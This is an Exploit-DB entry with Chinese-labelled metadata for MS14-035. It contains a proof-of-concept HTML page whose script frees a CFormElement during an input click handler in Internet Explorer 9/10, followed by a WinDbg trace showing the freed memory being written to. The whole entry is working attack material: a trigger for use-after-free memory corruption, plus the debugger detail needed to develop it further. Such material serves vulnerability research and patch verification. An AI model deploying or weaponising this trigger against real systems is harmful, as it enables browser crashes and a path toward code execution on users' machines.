标题: Microsoft Internet Explorer 9/10 - CFormElement Use-After-Free / Memory Corruption (PoC) (MS14-035) EDB-ID: 34010 CVE: 2014-2782 2014-2777 2014-2776 2014-2775 2014-2773 2014-2772 2014-2771 2014-2770 2014-2769 2014-2768 2014-2767 2014-2766 2014-2765 2014-2764 2014-2763 2014-2761 2014-2760 2014-2759 2014-2758 2014-2757 2014-2756 2014-2755 2014-2754 2014-2753 2014-1805 2014-1804 2014-1803 2014-1802 2014-1800 2014-1799 2014-1797 2014-1796 2014-1795 2014-1794 2014-1792 2014-1791 2014-1790 2014-1789 2014-1788 2014-1786 2014-1785 2014-1784 2014-1783 2014-1782 2014-1781 2014-1780 2014-1779 2014-1778 2014-1777 2014-1775 2014-1774 2014-1773 2014-1772 2014-1771 2014-1770 2014-1769 2014-1766 2014-1764 2014-1762 2014-0282 类型: DOS 平台: WINDOWS_X86 发布日期: 2014-07-08 漏洞利用脚本: <!--
Exploit Title: MS14-035 Internet Explorer CFormElement Use-after-free and memory corruption POC (no crash! see trace)
Product: Internet Explorer
Vulnerable version: 9,10
Date: 8.07.2014
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
Vendor Homepage: http://www.microsoft.com/
Tested on: Window 7 SP1 x86 IE 9,10
CVE : unknown
-->
<html>

<body>


<form id="form1">
   <input id="input1" type="text" value="">
</form>


<script>

 loaded = false ;

function func() {

 if (loaded) {
  document.body.innerHTML = "" ; // free CFormElement
 }

}

    
 input1 = document.getElementById("input1") ;
 input1.onclick = func ;
 loaded = true ;
 input1.click(); // Call DoClick function
 
 


</script>
</body>

</html>
<!--
Vulnerability details

MSHTML!CInput::DoClick

66943670 8bcf            mov     ecx,edi
66943672 ff751c          push    dword ptr [ebp+1Ch]
66943675 ff7518          push    dword ptr [ebp+18h]
66943678 ff7514          push    dword ptr [ebp+14h]
6694367b ff7510          push    dword ptr [ebp+10h]
6694367e ff750c          push    dword ptr [ebp+0Ch]
66943681 ff7508          push    dword ptr [ebp+8]  <---- esi = CFormElement
66943684 e856e4f3ff      call    MSHTML!CElement::DoClick (66881adf) <--- call of func() in javascript, free esi
66943689 85db            test    ebx,ebx 
6694368b 7408            je      MSHTML!CInput::DoClick+0x74 (66943695)
6694368d 83666400        and     dword ptr [esi+64h],0 ds:0023:0034cd84=00000001 ; memory corruption, write to freed memory
66943691 836668fe        and     dword ptr [esi+68h],0FFFFFFFEh  ; memory corruption, write to freed memory

 MSHTML!CInput::DoClick+0x60:
66943681 ff7508          push    dword ptr [ebp+8]    ss:0023:023ec994=00000000
0:005> p
eax=00000001 ebx=00000001 ecx=00317540 edx=66943621 esi=0034cd20 edi=00317540
eip=66943684 esp=023ec95c ebp=023ec98c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CInput::DoClick+0x63:
66943684 e856e4f3ff      call    MSHTML!CElement::DoClick (66881adf)
0:005> dds esi l1
0034cd20  6661ead8 MSHTML!CFormElement::`vftable'



0:005> !heap -x esi <-- esi contains valid pointer to CFormElement
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
0034cd18  0034cd20  00270000  002fcee8        78      -            c  LFH;busy 

0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=66943689 esp=023ec978 ebp=023ec98c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
MSHTML!CInput::DoClick+0x68:
66943689 85db            test    ebx,ebx
0:005> dds esi l1
0034cd20  6661005c MSHTML!CSVGPathSegCurvetoCubicAbs::`vftable'+0x12c




0:005> !heap -x esi <-- esi contains freed pointer to CFormElement
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
0034cd18  0034cd20  00270000  002fcee8        78      -            0  LFH;free 

0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368b esp=023ec978 ebp=023ec98c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CInput::DoClick+0x6a:
6694368b 7408            je      MSHTML!CInput::DoClick+0x74 (66943695)  [br=0]
0:005> p
eax=00000000 ebx=00000001 ecx=00000000 edx=66408ac8 esi=0034cd20 edi=00317540
eip=6694368d esp=023ec978 ebp=023ec98c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MSHTML!CInput::DoClick+0x6c:
6694368d 83666400        and     dword ptr [esi+64h],0 ds:0023:0034cd84=00000001


--> URL: https://www.exploit-db.com/exploits/34010